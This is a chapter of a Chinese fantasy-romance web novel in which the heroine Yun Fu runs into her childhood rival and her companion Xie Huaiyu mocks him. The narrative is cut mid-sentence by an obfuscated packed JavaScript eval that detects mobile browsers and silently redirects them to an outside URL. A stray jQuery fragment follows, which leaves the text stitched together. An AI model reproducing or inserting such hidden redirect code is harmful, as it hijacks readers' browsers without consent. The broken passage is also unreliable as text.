37. 明月
作品:《成为毒舌皇子的蝴蝶后掉马了》 “做什么?”云芙没好气地问他。
“看到你就叫了呗。怎么,怕我找你打架输给我?”
对面声音欠欠的,瞬间将云芙的火气点燃,也顾不上会不会被别人看笑话,她立刻叉着腰喊回去。
“单嘉翊!你哪次赢过我?!要怕也是你怕我好吗!”
单嘉翊瞬间脸红脖子粗,指着她“你你你”了半天。
“你不要得意!下次我肯定打败你!”
听他这话云芙立刻嘲笑出声:“呦,怎么,我们单少主在别人去秘境的时候在家里偷偷进修了?”
这话可谓是往单嘉翊心里扎。停月秘境开启前单嘉翊不知怎的从树上掉下来摔断了腿,医师很严厉地告诉他再出意外腿就不能用了,不准他乱动,原本属于单嘉翊的秘境名额只得让给其他弟子,留他躺在床上愤恨望天。
本身这件事没什么,云芙也没想到去嘲笑他,但单嘉翊不知是脑子进水了还是怎的,非传音给云芙问是不是她不想让自己去秘境故意给他下套。这话教云芙听了怎么可能不气。她身为一族帝姬哪里是那种心胸狭隘之人,再说了,她那时候早离开风灵天境多日,怎么跨越那么远的距离骗他去。
于是她对着传讯符怒骂一通,问他是不是摔下来的时候把脑子摔烂了。单嘉翊也意识到是自己以小人之心度君子之腹了,非常羞愤地说了句对不起就再也没联系过她。
自然,对于从小打到大的死对头,云芙摆不出好脸色,更不可能主动去联系他。
单嘉翊不想方设法把她的事情搞砸就很不错了。
她的话果然将单嘉翊狠狠刺痛。
“当初我就不应该信你的鬼话,绝对是你昭唯嫉妒我让我摔断腿!”
云芙不惯着他,嗤笑一声:“我嫉妒你什么?嫉妒你修为没我高?还是嫉妒你剑术没我好?噢——”她作恍然大悟状,说:“我知道了,是嫉妒你没我聪明。”
身后传来一声轻笑,云芙这才想起来今日还带了别人,心头漫上阵阵尴尬。
单嘉翊也循着声音望去,这才发现云芙身边跟着个没见过的男子。说来可笑,谢淮屿身量颇高,再加上容貌俊朗,理应是非常显眼的,但大抵与云芙之间的竞争太激烈,甚至可以说超过云芙就是他的执念,每次见到云芙,单嘉翊就会自动忽略其他人,满心满眼只有云芙这个竞争对手的脸。
两族没什么交集,因此单嘉翊只听说却没见过那鼎鼎有名的天族三皇子,自然也认不出谢淮屿是谁。但秉持着“敌人的同伴也是敌人”的原则,他也将谢淮屿归为可以用来嘲笑云芙的类别。
他迅速将谢淮屿上下扫了一遍,又把视线转回云芙身上,嘲讽道:“昭唯帝姬这是自甘堕.落了?从哪找来的小白脸?还有,就算喜欢也应该喜欢小爷这样的好吗。这种弱不禁风的小白脸除了脸好看有什么用?净是挨打的份。”
这话称得上冒犯。单嘉翊不认识谢淮屿,不知他是个什么样的人,为了面子只能挑出“长得好”这点硬着头皮说。其实单嘉翊长得也算容貌上佳那类了,只是他私心认为除了自己其他相貌好的都是“弱不禁风”之人。
云芙在心中默默为单嘉翊点了几根香。竟然敢对着谢淮屿这种光凭一张嘴就能打败一支队伍的人说出这种话,真是不要命了。
看着默默跳到谢淮屿身后并捂上耳朵的云芙,单嘉翊不明所以。正当他猜测云芙是不是想证明小白脸也很抗打的时候,谢淮屿开口了。
“首先,非常感谢你对我的脸的认可,还算有眼光。”云芙心中暗暗惊叹。她们三皇子竟然会第一句先谢谢别人了。
下一秒,嘴上从不饶人、攻击性极强的三皇子继续展施展往日雄风。
“但是,有疾还是早日去看为妙,免得在外祸害人。”他说着,一道灵力自手中挥出,还未教人看清便已飞至身前。两片羽毛坠子被绞的粉碎,随风飘散,单嘉翊人也被击出几步之外,雪花在其脚下生长,须臾便结成大片冰晶,让他寸步不得行。
“这位单少主自己弱便觉得别人也弱,如果没有脑疾应当也不会上赶着出来丢人吧。你这身法连云芙一根头发都比不上。我的建议是,你还是回家找修炼基础书看看,别丢自己爹娘的脸。”
他的话似连珠,似乱剑,不给人片刻喘息。
谢淮屿说着话,还能分出神去拿点心。
手掌绕至背后,递到云芙面前。云芙正看热闹看得兴奋,也没发觉不对,下意识接过。谢淮屿露出个笑,与朝着单嘉翊的阴阳怪气的笑不同,这个笑明显是真心实意的,两相对比之间让单嘉翊心头更觉不快。
他脸涨得通红,想说些什么反驳谢淮屿,但他怎么可能敌得过恨不得一出生就从嘴里吐出一盏毒汁的谢淮屿,最后支支吾吾决定拿身份压他。
"你什么身份?竟敢如此对本少主说话!昭唯,你的人这样不懂礼数,你就不管教?"
云芙不说话,只顾着将点心塞进嘴里嚼嚼嚼,对着他无能狂怒的模样一个劲的乐。
不可否认,谢淮屿有被他的话取悦到,不过这并不会让他口下留情。
“天族,谢淮屿,想找我比试的话如昼宫奉陪。”
语罢,他若有似无地瞥了眼云芙,好像在告诉他如果不是看在云芙的面子上就不会跟他说这么多。
“至于阿芙如何管教我就不劳单少主费心了。”语气淡淡的,也不管别人听了这话会作何感想。
单嘉翊僵在原地,彻底说不出话来。这下好了,连身份都压不过人家,还给天族的皇子得罪了。早知如今场面当初他连一个字也不会多说。谁能想到巴巴跟在云芙身后跟狂热追求者一样的人能是天族三皇子啊!
天杀的,不是说天族三皇子不近女色吗?怎么对云芙如此殷勤!他单少主的一世英名将毁于此!真跟谢淮屿说的一样出来丢他爹娘的脸了。可恶的昭唯,一定是她故意要他当众出丑的,就知道遇上她准没好事!
一句“得罪了”被拋在空中后单少主便风风火火跑没了影。
这幅样子简直让云芙将“爽”写在脸上。
谢淮屿盯着她唇角许久,随后假装不经意提起:“他谁啊?这么没礼数。”
云芙耸耸肩:“单嘉翊,灵雀族少主,单家疼得跟眼珠子似的。也不知道整天在想什么,从小就莫名其妙把我当成他的对手,成天嚷嚷着要打败我,当然,每次都是我赢。”她说最后一句时语气难掩自得。
小时候那次,先挑衅云芙后来又被她揍哭的,就是单嘉翊。
云芙从小就觉得单嘉翊脑子缺根筋,就像刚才一样,每次都不如人,偏偏总认为自己技艺高超,最后自己被揍得痛哭流涕。最开始云芙也不屑于跟他计较,可他每次都挑衅到她头上,这让云芙哪里忍得住,他们两人谁都不服谁,久而久之就成了这“死对头”模样。
“那你喜欢他吗?”谢淮屿直截了当问,仔细听还能分辨出其中几丝忐忑和隐秘的期待。但云芙似乎没意识到他说的“喜欢”是哪个喜欢。
她像是听到了好笑的事情,一连笑了好几声才掩唇止住笑,说:“诶,谢淮屿,我应该没和你说过那件事吧?”
“什么?”谢淮屿立刻回。
“我幼时的事了,”她背着手,一面走一面思索,“那时候我应当是六七岁吧,我,还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258796|171276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有灵雀、灵狐两族的继承者都在一起修炼学习,有一次刚刚散学,我就被单嘉翊拦住。他和我一样年岁,那时大家都是小孩子,估计也是从哪里听来了挑拨的话,他就过来堵我不让我走,说明明我只是身份相较他们更高了些,凭什么我被众星拱月、到处受人夸赞。”
云芙至今仍旧清楚地记得那日单嘉翊说的话。小男孩气冲冲、恶狠狠,鼓着腮帮子瞪她,道:“你一个人小丫头片子,就因为是灵族帝姬,所以在别人口中处处都压我们一头!我哪里比你差!”
这话不像是这个年纪的孩子能说出来的话,所以长大后回想起这件事,云芙稍作思考便明白过来是有人教他说的这些,但那时云芙还只是个不谙世事的小姑娘,哪里听过如此难听的话,当即便哭了出来。
眼泪如洪流,瞬间让单嘉翊慌了神,不待他道歉,约战的话便从云芙口中钻了出来。
单嘉翊从未见过这架势——云芙将决堤般的眼泪往袖子上抹,嘴上又凶巴巴地说不服就来跟她打一架。
那天单嘉翊没能在她手上撑过两招。云芙“天赋异禀”的标签从不是吹嘘出来唬人的,她也从来没有在修炼上懈怠过半分,这也是为什么,当初程家主跟程涟说:“即便是不看书也要向帝姬寻求指点。”
因为云芙早将书本古籍的知识练得炉火纯青,甚至能够自己加以更精进的改良,就连灵蝶族皇室那招不传外人的秘技,也在她手上发出了远超人意料的威力。
“不过我现在早就不在意当年的事了,都是小孩子戏言,没什么大不了的,毕竟童言无忌嘛。”她浑不在意。
听完谢淮屿沉默了许久,然后幽幽地说:“骂他真是没亏着他,方才就应该多骂他几句。”心中却是松了口气,云芙说了这么多,一听便知她对单嘉翊眼中只有嫌恶,或是同情,没有丝毫男女之上的情意。
也是,云芙连他都看不上,又怎么会喜欢单嘉翊那种只会逞口头之快的懦弱草包。
这样再好不过了,他想。他不是画本子里为了喜欢的人幸福能够成全她与别人并且终其一生为他人爱情保驾护航的那等子慷慨之人。他喜欢的东西就要抢,人也一样。
云芙现在不喜欢他,他会让她喜欢他的。
即便最后她真的对他毫无感情,他也不想看到其他远不及自己之人玷污她。
若是明月不能独照我身,那就普照黑夜。
到那时没有一人能得到偏爱才是最好。
……
“话说,谢淮屿,”云芙神色有些不自在,裙边一块布料被捏紧又放开,“你那句话,什么意思?”
谢淮屿很想逗逗她。他明知故问:“哪句话?”
他的演技要比云芙好太多,叫云芙真以为他不知道自己哪句话惹了她,那话又太过羞耻,云芙实在不想说出口。
“就是,你刚刚,说,嗯,我怎么管……”她的声音越来越小,到最后干脆没了声音。
他故作恍然大悟状,仿佛才明白过来她的意思,说原来是那句话。
谢淮屿忍着笑意开口:“阿芙,你想知道什么直接问就好了,我不会隐瞒你的。说那句话是为了气单嘉翊的,说出来更有气势点而已。当然,其中也有我一点私心在的,我想让别人看到你我二人关系与他人不同。你还想问什么?”
“……你为什么那么叫我?”
“怎样叫你?”他循循善诱,等待从她口中听到自己想要的。
“……阿芙。为什么叫我阿芙?”说到后半截,云芙忽然抬起眼,直勾勾地与他对视。
她又重复了一遍。
“为什么忽然开始叫我阿芙?”